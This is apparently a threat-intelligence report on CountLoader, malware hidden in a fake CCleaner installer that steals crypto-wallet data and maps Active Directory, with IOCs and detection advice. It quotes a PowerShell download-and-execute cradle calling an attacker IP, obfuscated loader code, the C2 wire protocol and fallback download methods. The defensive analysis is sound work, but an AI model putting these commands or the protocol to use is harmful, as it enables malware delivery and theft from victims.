CountLoader: Inside a Fake CCleaner Installer Deploying Credential Stealers and Active Directory Reconnaissance

Published: 2026-03-08 | Author: Breakglass Intelligence | Tags: malware, infostealer, C2, Active Directory, cryptocurrency

TL;DR

CountLoader is a professionally operated malware-as-a-service platform disguised as a CCleaner installer. It deploys modular credential-stealing payloads targeting 50+ cryptocurrency wallet extensions across 40+ browsers, while simultaneously running a full Active Directory reconnaissance module designed for enterprise lateral movement. We fully reverse-engineered its XOR+base64 wire protocol, registered bots on live C2 servers, and discovered active operator tasking distributing obfuscated PowerShell download cradles to victims.

---

The Big Picture: Consumer Theft Meets Enterprise Reconnaissance

Most infostealers pick a lane. They target browser credentials, or they go after corporate environments. CountLoader does both. Beneath its fake CCleaner installer shell sits a modular .NET panel architecture with JWT-authenticated bot management, dynamic auth key rotation, and a plugin system that deploys four distinct collection modules: crypto wallet extraction, browser extension harvesting, system configuration profiling, and -- the finding that elevates this from commodity stealer to enterprise threat -- a dedicated Active Directory enumeration module that maps domain topology, enumerates Domain Admins, and catalogs every computer object in the domain.

The AD module's hash was identical across all C2 servers we tested, confirming a shared backend. The operator is running a dual-use platform: consumer crypto theft at scale, with enterprise lateral movement capability built in from the start.

Initial Access: The CCleaner Lure

The infection chain begins with a trojanized CCleaner installer (4ee17ce2e1ce0ede59dceabbba28265923ce4e25ddb002617e3cc8f13cfff6a3.exe). Static analysis of the binary reveals it is a compiled C stub (c-run-mshta.c visible in strings) that masquerades as a legitimate utility:

<description>NetworkTool Service</description>
<assemblyIdentity name="NetworkTool.exe" version="3.0.69.0" type="win32" />

Upon execution, the binary invokes mshta.exe to fetch and execute a remotely hosted HTA payload from the C2 server. The HTA files are heavily obfuscated, with each server using a different obfuscation variant:

C2 Server	XOR Key	Array Entries	Variable Name
ccleaner.gl	None (direct charCode)	382	compileObject
web3-walletnotify.cc	XOR 610	380	resolveThread
bigbrainsholdings.com	XOR 923	380	mountElement
communicationfirewall-security.cc	Multi-value complex	217	validateArgs

The HTA payload performs several operations before establishing persistence: anti-sandbox checks, AV detection, download and execution of the main implant, and registration with the C2 panel.

Anti-Analysis Checks

Before executing its payload, the HTA performs environment fingerprinting to evade sandboxes:

• Hostname check: If the hostname is AZURE-PC, execution terminates (targets Azure-hosted analysis VMs)
• Username check: If the username is Bruno, execution terminates (likely a specific sandbox identity)
• Locale check: If the system locale returns SYSTEM or the Cyrillic equivalent СИСТЕМА, execution terminates (avoids CIS-region systems -- a common indicator of Eastern European threat actors)
• AV detection: If CrowdStrike Falcon is detected, the payload wraps execution through cmd.exe rather than direct PowerShell invocation

These checks map to MITRE ATT&CK T1497.001 (System Checks) and T1614.001 (System Language Discovery).

Persistence Mechanisms

CountLoader establishes three independent persistence mechanisms, ensuring survival across reboots and partial remediation:

1. Scheduled Task (T1053.005): Creates a task with a 15-minute execution interval and wake-to-run capability, ensuring the implant runs even if the system was sleeping
2. Registry Run Key (T1547.001): Writes to HKCU\Software\Microsoft\Windows\CurrentVersion\Run for user-level persistence
3. HTA Relaunch (T1218.005): Uses mshta.exe as a living-off-the-land execution vector for re-infection

Download Methods

The HTA payload cycles through six download methods to retrieve the main implant, providing resilience against application whitelisting and network controls:

1. PowerShell Invoke-WebRequest
2. curl.exe (native on Windows 10+)
3. bitsadmin (T1197)
4. certutil -urlcache (T1140)
5. msiexec /i (T1218.007)
6. VBScript MSXML2.XMLHTTP

This multi-method approach demonstrates operational maturity -- if one LOLBIN is blocked by endpoint controls, the payload falls through to the next.

C2 Infrastructure

Server Inventory

We identified four active C2 servers and one payload staging server:

Domain	IP Address	Hosting	Role
ccleaner.gl	192.109.200.130	PFCLOUD (AS51396)	Bot registration, module delivery
web3-walletnotify.cc	82.29.72.214	Hosteons Singapore	Active tasking, module delivery
bigbrainsholdings.com	82.29.72.214	Hosteons Singapore (shared)	Backup C2
communicationfirewall-security.cc	Cloudflare-proxied	Cloudflare	Backup C2
burning-edge.sbs	65.21.174.205	Hetzner	Stats/tracking beacon

A dedicated payload staging server at 45.43.137.82 (AS49791, Newserverlife LLC, Warsaw, Poland) runs a Node.js/Express instance that serves task payloads separately from the C2 panel infrastructure.

Infrastructure Overlap

The ccleaner.gl C2 at 192.109.200.130 shares its /24 netblock with 192.109.200.147, a known QuasarRAT C2 associated with the "evilgrou-tech" cluster. Both IPs are hosted on PFCLOUD (AS51396), a provider with a history of hosting bulletproof infrastructure. This overlap suggests shared hosting resources, though not necessarily shared operators.

Panel Architecture

The C2 panel runs on ASP.NET Core (.NET), with different deployment paths observed across servers:

• ccleaner.gl: D:\Panel\Files\ (dedicated drive)
• web3-walletnotify.cc / bigbrainsholdings.com: C:\Users\Administrator\Desktop\Panel\Files\

The C:\Users\Administrator\Desktop path on the web3/bigbrains servers suggests a less hardened deployment, consistent with an operator managing multiple panel instances from a single Windows server.

Wire Protocol Deep Dive

We fully reverse-engineered CountLoader's custom wire protocol by analyzing the makeNodeStreamOut, findForm, and formatFastServer functions in the HTA payload, then validated it by building a working Python client that successfully registered bots and retrieved modules from live C2 servers.

Encoding (Client to Server)

Every request body is encoded through a five-step process:

1. Generate random 6-digit XOR key (e.g., "482917")
2. XOR each body character with key[i % 6]
3. Prepend the plaintext key to the XOR'd body
4. Convert entire string to UTF-16LE (each char -> 2 bytes: low byte, high byte)
5. Base64 encode the result

Decoding (Server to Client)

Server responses use an identical scheme in reverse:

1. Base64 decode
2. UTF-8 decode to character array
3. First 6 characters = XOR key
4. XOR remaining characters with the extracted key to recover plaintext

The use of a random per-request XOR key means no two encoded versions of the same message look alike on the wire, providing basic polymorphism against static signatures. However, the key is transmitted in plaintext alongside the ciphertext, so the "encryption" is obfuscation rather than security.

Authentication Flow

The protocol implements a five-step authentication and tasking cycle:

Step 1: Liveness Check
  POST / -> encoded("checkStatus") -> "success"

Step 2: Bot Registration
  POST / -> encoded("connect?hwid=<MD5>&os=<OS>&av=<AV>&username=<user>
    &corp=<corp>&domain=<domain>&version=<ver>&key=<AUTH_KEY>
    &ledger=<bool>&wallets=<list>&exts=<bool>&extlist=<ext_ids>
    &task=<task_status>") -> "created" (first contact) or JWT (returning bot)

Step 3: Task Retrieval
  POST / + Authorization: Bearer <JWT> -> encoded("getUpdates") -> JSON task array

Step 4: Module Download
  POST / + Authorization: Bearer <JWT> -> encoded("getModule?name=<module>") -> module code

Step 5: Task Acknowledgment
  POST / + Authorization: Bearer <JWT> -> encoded("approveUpdate?id=<task_id>") -> ack

JWT Token Structure

The panel issues short-lived JWT tokens (approximately 7-minute expiry) using HS256:

{
  "alg": "HS256",
  "typ": "JWT",
  "identifier": "<HWID>",
  "exp": 1741446000,
  "iss": "Server",
  "aud": "MyServerAudit"
}

The MyServerAudit audience claim is a distinctive fingerprint that could be used for network detection.

Dynamic Auth Key Rotation

The operator actively rotates authentication keys embedded in the HTA payloads. During our investigation window, we observed key rotation within hours:

Server	Previous Key	Rotated Key (2026-03-08 15:00 UTC)
ccleaner.gl	6LIBQ6951PVJP2B5T7W4	24Q4FVZNSU1R0KZE2WU4
web3-walletnotify.cc	IDMFCINKWGMEAFTT80VG	PUT1OBY1D6JH1GF5I9N4
bigbrainsholdings.com	Unknown	IAL1GLC6L5CGPQTJ6SL2

This rotation indicates active operator management and suggests awareness that their infrastructure is being monitored.

Module Architecture

CountLoader deploys four server-side modules, retrieved via the getModule API call. Module integrity is verified by MD5 hash using the getPsModule call before execution:

Module	Purpose	MD5 Hash
ad	Active Directory reconnaissance	c8bac7421d041559dc4a6709325b492d
wallets	Cryptocurrency wallet extraction	cadfe68d6c103aacce0f451cad2b8e52
extensions	Browser extension data theft	c757ae3ee19bb09793a752500b6dbf68
config	System configuration profiling	b4c7ea651fc9f20131fe35ff25e0f8f6

Module hashes were identical across ccleaner.gl and web3-walletnotify.cc, confirming a shared backend serving all C2 servers.

The AD Module: Enterprise Reconnaissance

The ad module (16-17KB of obfuscated JavaScript) is the most significant finding in this investigation. It performs comprehensive Active Directory enumeration using WMI and ADSI, collecting intelligence that directly supports lateral movement and privilege escalation.

The module uses a custom string decryption routine with XOR-based character array deobfuscation:

var makeToValue = function () {
  var createBooleanSecure = [[99, 64, 84, 74, ...], ...]; // 73 encoded string arrays
  var handleAutoComponent = 136;
  var updateFileStream = 158;
  return function (validateList) {
    var canSet = createBooleanSecure[validateList];
    var registerNumber = "";
    for (var hasElement = 0; hasElement < canSet.length; hasElement++) {
      var deleteClientDataFull = (updateFileStream + updateFileStream
        ^ updateFileStream % hasElement
        ^ (updateFileStream ^ hasElement)) & 63;
      registerNumber += String.fromCharCode(canSet[hasElement] ^ deleteClientDataFull);
    }
    return registerNumber;
  };
}();

Each string is stored as a numeric array and decoded at runtime using a position-dependent XOR mask derived from two seed values. This prevents static string extraction.

Data collected by the AD module:

1. Local System Info -- Computer name, logged-in user, domain membership status
2. Domain Role Classification -- Maps DomainRole values (0-5) from Standalone Workstation through Primary Domain Controller
3. Current User SID -- Retrieved via Win32_Account WMI query
4. User Group Memberships -- Enumerated via ADSI (WinNT://domain/user) and the .Groups() method
5. Domain Controller Connectivity -- Checks LOGONSERVER environment variable and Win32_NTDomain for reachability
6. Domain Admins Enumeration -- Locates the Domain Admins group by matching SID suffix -512, then enumerates all members via Win32_GroupUser
7. Domain Information -- DNS forest name, NetBIOS name, domain GUID, domain SID
8. All Domain Computers -- Enumerates every computer object via ADSI with a Computer class filter
9. All Domain Groups -- Full group listing via Win32_Group

The WMI queries executed:

SELECT * FROM Win32_ComputerSystem
SELECT * FROM Win32_NTDomain
SELECT * FROM Win32_Group
SELECT * FROM Win32_GroupUser
SELECT * FROM Win32_Account WHERE Name='<username>'

The collected data is URI-encoded and exfiltrated back to the C2 server. This maps to T1087.002 (Domain Account Discovery), T1069.002 (Domain Groups Discovery), T1018 (Remote System Discovery), and T1482 (Domain Trust Discovery).

Crypto Wallet and Extension Modules

The wallets and extensions modules target over 50 cryptocurrency wallet browser extensions across 40+ browsers, including:

Wallet Extensions: MetaMask, Phantom, Trust Wallet, Coinbase Wallet, Rabby, Ledger Live, Trezor Suite, Exodus, Atomic Wallet, and 40+ others.

Browser Targets: Chrome, Edge, Brave, Opera, Firefox, Vivaldi, and all Chromium-based browsers.

The wallet extension IDs are fingerprinted during the initial connect registration (via the extlist parameter), allowing the operator to selectively task only bots that have high-value wallet extensions installed.

Active Operator Tasking

Live Task: PowerShell Download Cradle

During our investigation, we discovered active tasking on web3-walletnotify.cc. After registering a bot and authenticating, getUpdates returned:

[{"id": 29, "url": "http://45.2853202/main", "taskType": 11}]

Task type 11 translates to a PowerShell IEX download cradle:

powershell.exe -ep Bypass -nop -Command "irm http://45.2853202/main | iex"

The URL 45.2853202 uses decimal IP encoding (45.2853202 -> 45.43.137.82) as an evasion technique against URL reputation systems. The payload server at this IP runs Node.js/Express (AS49791, Newserverlife LLC, Warsaw, Poland).

Payload Analysis

The retrieved payload is a 1.8MB obfuscated PowerShell script using a novel obfuscation technique: base64 fragments are hidden inside fake PowerShell cmdlet variable names:

${Register-ScheduledTask -ErrorVariable errLog -Namespace root\cimv2 && ($ogol)} = "ZXNUb3"
${ConvertTo-Xml -Parallel -LogName Microsoft-Windows-Sysmon/Operational && ($bmmr)} = "RhbF"
${Get-Process -Recurse -Path $env_LOCALAPPDATA && ($nslmnh)} = "GVyZmFjZSB8I"

Each variable name is a syntactically valid-looking PowerShell command that never executes. The actual value is a base64 fragment. At the end of the script, 147 fragments are concatenated, base64-decoded, and executed via IEX. The decoded payload is a simple bandwidth monitoring script -- likely a test payload to verify bot responsiveness before deploying real credential harvesting.

Task Type Reference

The HTA code defines 10 task types:

Type	Action	Execution Method
1	Download and Execute	PowerShell download
2	Download and Execute (alt)	certutil / msiexec
3	Download and Execute (file)	Direct file download
4	Delete Scheduled Task	Cleanup / anti-forensics
5	AD Reconnaissance	getModule('ad') -> collect and exfiltrate
6	Download and Execute	certutil method
9	USB Spreading	Copy to removable drives (T1091)
10	Run MSHTA	mshta.exe <url> (T1218.005)
11	PowerShell IEX	irm <url> | iex (T1059.001)

The inclusion of USB spreading (type 9) adds a worm-like propagation capability, and task type 4 (scheduled task deletion) provides operator-controlled cleanup for anti-forensic operations.

MITRE ATT&CK Mapping

Tactic	Technique	ID	CountLoader Implementation
Initial Access	Phishing / Trojanized Software	T1189	Fake CCleaner installer
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	IEX download cradles, module execution
Execution	System Services: Mshta	T1218.005	HTA payload delivery and persistence
Persistence	Scheduled Task	T1053.005	15-min interval, wake-to-run
Persistence	Boot or Logon Autostart: Registry Run Keys	T1547.001	HKCU\Run
Defense Evasion	Virtualization/Sandbox Evasion: System Checks	T1497.001	AZURE-PC, Bruno, locale checks
Defense Evasion	Deobfuscate/Decode Files	T1140	XOR+base64 wire protocol, certutil
Defense Evasion	Signed Binary Proxy Execution: Mshta	T1218.005	MSHTA-based execution
Defense Evasion	BITS Jobs	T1197	bitsadmin download fallback
Credential Access	Credentials from Web Browsers	T1555.003	Wallet extension data extraction
Discovery	Domain Account Discovery	T1087.002	AD module: user and admin enumeration
Discovery	Domain Groups Discovery	T1069.002	AD module: group membership mapping
Discovery	Remote System Discovery	T1018	AD module: computer object enumeration
Discovery	Domain Trust Discovery	T1482	AD module: forest and trust enumeration
Discovery	System Language Discovery	T1614.001	Locale-based CIS exclusion
Lateral Movement	Replication Through Removable Media	T1091	USB spreading (task type 9)
Collection	Data from Local System	T1005	Wallet files, browser extension data
Command and Control	Application Layer Protocol: Web Protocols	T1071.001	HTTPS POST with custom encoding
Exfiltration	Exfiltration Over C2 Channel	T1041	Module results sent to C2

Indicators of Compromise

C2 Domains

Domain	First Seen	Registrar	Purpose
ccleaner.gl	2026-03	Gandi	Primary C2
web3-walletnotify.cc	2025-12-16	NICENIC (HK)	Active tasking C2
bigbrainsholdings.com	2026	NICENIC (HK)	Backup C2
communicationfirewall-security.cc	2026	Unknown	Backup C2 (Cloudflare-proxied)
burning-edge.sbs	2026	Unknown	Stats/tracking beacon

C2 IP Addresses

IP Address	ASN	Hosting Provider	Location	Role
192.109.200.130	AS51396	PFCLOUD	Unknown	ccleaner.gl C2
82.29.72.214	--	Hosteons	Singapore	web3 + bigbrains C2
65.21.174.205	--	Hetzner	Finland	burning-edge.sbs beacon
45.43.137.82	AS49791	Newserverlife LLC	Warsaw, Poland	Task payload staging

File Hashes (SHA-256)

Hash	Description
4ee17ce2e1ce0ede59dceabbba28265923ce4e25ddb002617e3cc8f13cfff6a3	CountLoader dropper (fake CCleaner)
311a797223ad28016f01e570324c6a83de7df18d8d532004305a608f4af03c9c	ccleaner.gl HTA payload
861a8fc1926bc379f90a92da9b2bf479b4ed777432c7eb1a2bd362132c5b8b8e	web3-walletnotify.cc HTA payload
23113d6552ea09634760eb524f5d0e65d7d1a0ffc725dfc2ef97b4e22aa91b92	communicationfirewall-security.cc HTA payload
e7c3f5bbee992986046eee025537cda3817f2543a7261ac9e38d5cd0f1ebfc50	Task 29 obfuscated PowerShell payload

Module Hashes (MD5)

Hash	Module
c8bac7421d041559dc4a6709325b492d	AD reconnaissance
cadfe68d6c103aacce0f451cad2b8e52	Wallet extraction
c757ae3ee19bb09793a752500b6dbf68	Extension harvesting
b4c7ea651fc9f20131fe35ff25e0f8f6	System configuration

Network Signatures

• HTTP POST to C2 with Content-Type: text/plain and base64-encoded body
• User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0)
• JWT tokens with audience MyServerAudit and issuer Server
• Decimal-encoded IP addresses in task URLs (e.g., 45.2853202 for 45.43.137.82)

Defensive Recommendations

Detection

1. Monitor for MSHTA execution with network-sourced HTA files -- alert on mshta.exe spawning child processes (PowerShell, cmd.exe, certutil)
2. Flag WMI queries targeting Win32_NTDomain, Win32_GroupUser, and Win32_Account in quick succession -- this pattern is nearly unique to the AD module
3. Detect decimal IP encoding in PowerShell command lines -- legitimate software does not use http://45.2853202/ style URLs
4. Alert on JWT tokens in HTTP Authorization headers where the decoded payload contains "aud":"MyServerAudit" -- this is a hardcoded panel fingerprint
5. Monitor for ADSI enumeration via WinNT:// provider -- the AD module's use of OpenDSObject with the WinNT provider is distinctive
6. Track scheduled tasks created with 15-minute intervals and wake-to-run flags, especially those invoking MSHTA

Blocking

1. Block the C2 domains and IPs listed in the IOC section at the firewall and DNS level
2. Restrict MSHTA execution via application control policies (AppLocker / WDAC) -- most environments have no legitimate need for mshta.exe
3. Block outbound connections to AS51396 (PFCLOUD) and AS49791 (Newserverlife LLC) if not required by business operations
4. Disable or restrict WMI remote access where possible, and audit WMI event subscriptions
5. Deploy browser extension allowlisting to prevent unauthorized wallet extensions from being installed (also reduces the attack surface for theft)

Remediation

1. If CountLoader is detected, assume the AD reconnaissance module has already executed -- treat it as a domain-wide compromise and audit Domain Admin group membership, recent logon activity, and newly created computer accounts
2. Rotate credentials for any user whose browser had wallet extensions installed on the infected endpoint
3. Check for all three persistence mechanisms (scheduled task, registry run key, HTA) and remove all of them -- partial cleanup will result in re-infection
4. Review DNS and proxy logs for connections to the C2 domains going back at least 90 days to scope the full extent of compromise

Conclusion

CountLoader represents a notable evolution in the infostealer ecosystem. Its dual-use architecture -- combining commodity crypto wallet theft with targeted Active Directory reconnaissance -- positions it as a versatile tool for operators who want to monetize consumer infections while simultaneously identifying high-value corporate targets for deeper exploitation. The professional engineering of the C2 panel (JWT authentication, dynamic key rotation, modular plugin architecture, multiple redundant servers) reflects a mature development operation that is actively maintained and monitored.

The shared infrastructure with known QuasarRAT C2 servers on PFCLOUD suggests CountLoader's operators are embedded in a broader ecosystem of bulletproof hosting and remote access tooling. Whether this is a single operator running dual campaigns or a MaaS platform with the AD module as an enterprise add-on, the operational outcome is the same: organizations should not dismiss CountLoader as "just another stealer." A single infection on a domain-joined workstation can yield a complete map of corporate Active Directory -- Domain Admin identities, every computer object, group memberships -- intelligence that directly enables ransomware deployment or persistent access. The gap between a CountLoader infection and full domain compromise may be measured in hours, not weeks.